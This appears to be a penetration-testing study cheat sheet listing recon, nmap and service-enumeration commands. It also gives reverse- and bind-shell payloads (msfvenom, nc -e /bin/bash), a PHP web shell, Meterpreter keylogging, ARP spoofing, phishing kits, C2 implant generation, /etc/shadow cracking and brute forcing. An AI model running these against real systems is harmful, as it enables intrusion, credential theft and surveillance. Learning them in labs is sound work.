Cheat Sheet

host example.com                       # DNS lookup
host -t ns example.com                 # name server records
nslookup example.com
dig example.com                        # DNS lookup
dnsrecon -d example.com                # DNS info
whois microsoft.com                    # domain registration
wafw00f <target-website>               # detect a WAF
whatweb iiitkottayam.ac.in             # web technology stack
theHarvester -d microsoft.com -b all   # email / OSINT harvesting
sublist3r -d hackersploit.org          # subdomain enumeration
exiftool <file>                        # read file metadata
spiderfoot -l 127.0.0.1:5001           # automated OSINT scanner

ping <TARGET_IP>                       # ICMP reachability
traceroute <TARGET_IP>                 # routers in the path
telnet <TARGET_IP> <PORT>              # manual service interaction
nc <TARGET_IP> <PORT>                  # banner grabbing

nmap -sn <TARGET_IP>                   # ping scan, no port scan
nmap -PE -sn <TARGET_IP>               # ICMP echo
nmap -PR -sn 10.10.10.10/24            # ARP scan a subnet
nmap -PS -sn <TARGET_IP>               # TCP SYN discovery
nmap -sn -n 8.8.8.8                    # -n = no DNS resolution
nmap -sL 192.168.56.0/24               # list scan (no packets)
nmap -iL targets.txt                   # read targets from file
nmap --exclude <host>                  # exclude hosts

nmap -sT <TARGET_IP>                   # TCP connect
nmap -sS <TARGET_IP>                   # SYN (stealth / half-open)
nmap -sU <TARGET_IP>                   # UDP
nmap -sN <TARGET_IP>                   # Null (no flags)
nmap -sF <TARGET_IP>                   # FIN
nmap -sX <TARGET_IP>                   # Xmas (FIN+PSH+URG)
nmap -sM <TARGET_IP>                   # Maimon (FIN+ACK)
nmap -sA <TARGET_IP>                   # ACK
nmap -sW <TARGET_IP>                   # Window

nmap -O <TARGET_IP>                    # OS detection
sudo nmap -sV <TARGET_IP>              # service/version detection
nmap -A <TARGET_IP>                    # aggressive: -O, -sV, -sC, --traceroute
nmap -Pn <TARGET_IP>                   # skip host discovery
nmap --reason <TARGET_IP>              # why a port is in a state
nmap --open <TARGET_IP>                # only open ports
nmap -F <TARGET_IP>                    # fast (top 100 ports)
nmap -p 80,443 <TARGET_IP>             # specific ports
nmap -p- <TARGET_IP>                   # all 65535 ports
nmap -T4 -sS <TARGET_IP>              # timing: T0 paranoid .. T5 insane
nmap -oN scan.txt <TARGET_IP>          # normal output
nmap -oG scan.gnmap <TARGET_IP>        # grepable
nmap -oX scan.xml <TARGET_IP>          # XML
nmap -oA myscan <TARGET_IP>            # all three formats

sudo nmap --script-updatedb            # rebuild script.db
nmap -sC <TARGET_IP>                   # default script set
nmap --script <name> <TARGET_IP>
nmap --script "ftp-*" <TARGET_IP>      # wildcard
nmap -p 21 --script ftp-anon <TARGET_IP>       # anonymous FTP
sudo nmap -p22,80 --script banner <TARGET_IP>  # banners
nmap --script vulners <TARGET_IP>              # vuln lookup
nmap --script ssl-heartbleed <TARGET_IP>       # CVE-2014-0160
nmap --script http-methods <TARGET_IP>

# FTP (21)
nmap --script ftp-anon,ftp-syst,ftp-brute <TARGET_IP>
nmap --script ftp-vsftpd-backdoor <TARGET_IP>
searchsploit vsftpd                    # search local Exploit-DB
searchsploit -m <exploit>              # copy an exploit here

# SMB (139/445)
nmap -p 139,445 <TARGET_IP>
enum4linux -a 192.168.56.106           # full enumeration
smbclient -L //192.168.56.110 -N       # list shares anonymously
smbclient //192.168.56.110/tmp -N      # connect to a share
nmap --script smb-os-discovery,smb-enum-shares <TARGET_IP>
nmap -p 445 --script smb-enum-users <TARGET_IP>
nmap --script smb-vuln-ms17-010 <TARGET_IP>    # EternalBlue

# NetBIOS (137/139)
nbtscan 192.168.1.0/24
enum4linux -n <TARGET_IP>

# SNMP (161) — default strings: public (ro), private (rw)
snmpwalk -v2c -c public <TARGET_IP>
snmp-check <TARGET_IP> -c public

# DNS (53)
dig A example.com                      # also AAAA, NS, MX, TXT, SOA, CNAME, ANY
dig -x 142.250.66.14                   # reverse lookup
dig +trace example.com                 # full resolution path
dig axfr zonetransfer.me @<nameserver> # zone transfer (AXFR)
host -l <domain> <nameserver>          # zone transfer via host

# Bind shell (target listens, attacker connects)
nc -lvnp 4444 -e /bin/bash             # on target
nc <TARGET_IP> 4444                    # from attacker

# Bind shell via Metasploit
use exploit/multi/handler
set payload linux/x86/shell_bind_tcp
set RHOST <TARGET_IP>
set RPORT 4444
run

# Reverse shell via Metasploit (attacker listens, victim connects back)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o shell.exe
python3 -m http.server 80              # host the payload
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ip>
set LPORT 4444
run

<?php system($_GET['cmd']); ?>         // web shell; browse ?cmd=whoami

sudo msfdb init                        # init database
msfconsole
db_status
db_nmap -sV <TARGET_IP>                # nmap into the MSF database
hosts ; services

# module workflow
search <term>
use auxiliary/scanner/ftp/ftp_version
set RHOSTS <TARGET_IP>
run

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS <TARGET_IP>
set PAYLOAD cmd/unix/interact
run

msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <file>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o shell.exe
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f elf -o shell.elf
msfvenom -p android/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -o app.apk
msfvenom -p php/meterpreter_reverse_tcp LHOST=<ip> LPORT=4444 -f raw -o shell.php
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f psh-cmd
msfvenom ... -e x86/shikata_ga_nai     # apply an encoder

sysinfo | screenshot | ps | keyscan_start | keyscan_dump | keyscan_stop
download <file> | upload <file> | background | exit

arp -a ; ip neigh                      # inspect ARP table
sudo hping3 <VICTIM_IP> --rand-source  # IP spoof (random source)
sudo hping3 <VICTIM_IP> -a <FAKE_IP>   # IP spoof (fixed fake)

# ARP spoof MITM (two terminals)
sudo arpspoof -i eth0 -t <VICTIM_IP> <GATEWAY_IP>
sudo arpspoof -i eth0 -t <GATEWAY_IP> <VICTIM_IP>

# enable forwarding + NAT so the victim stays online
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
sudo iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT
sudo iptables -A FORWARD -i eth1 -o eth0 -j ACCEPT

sudo ettercap -G                       # GUI MITM / DNS spoof
python3 -m http.server 8080            # host fake page for DNS spoof

setoolkit                              # SET: Credential Harvester / Site Cloner
# Zphisher: pick a template, use a tunnel (serveo.net / Cloudflared)

# Sliver C2
generate --mtls <ip> --format exe --save /home/kali/Desktop
jobs ; sessions ; use <session_ID>

# John the Ripper (offline)
sudo cat /etc/shadow                   # $id$params$salt$hash
zip2john protected.zip > hash.txt
/usr/share/john/pdf2john.pl file.pdf > hash.txt
john hash.txt
john --wordlist=/root/Desktop/rockyou.txt hash.txt

# Crunch wordlists  (% num, @ lower, , upper, ^ symbol)
crunch 4 4 0123456789 -o pinlist.txt
crunch 6 6 -t neha%%
crunch 6 6 -t user@@ -c 1000 -o START  # split 1000 lines/file

# Hydra (online)   -l/-L user  -p/-P pass  -t threads  -f stop  -s port
hydra -l Administrator -P passwords.txt ftp://<TARGET_IP>
nmap -p 21 <TARGET_IP>                 # confirm service first
xhydra                                 # GUI

sudo apt install dvwa ; sudo dvwa-start   # admin / password, security = low
gobuster dir -u http://127.0.0.1/ -w /usr/share/wordlists/dirb/common.txt
sudo apt install zaproxy ; zaproxy &      # proxy on 127.0.0.1:8080 + FoxyProxy

# Hydra against DVWA login (HTTP GET form)
hydra -l admin -P /usr/share/wordlists/fasttrack.txt 127.0.0.1 http-get-form \
"/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: PHPSESSID=<id>; security=low:F=Username and/or password incorrect."

cat /etc/passwd                        # UID 0 = root, 1000 = first user
cat /etc/shadow                        # overwrite root hash if world-writable
sudo -l                                # commands runnable as root (shell escapes)
ls -l /etc/crontab                     # root cron running a writable script?
find / -perm -u=s -type f 2>/dev/null  # SUID binaries (rwsr-xr-x)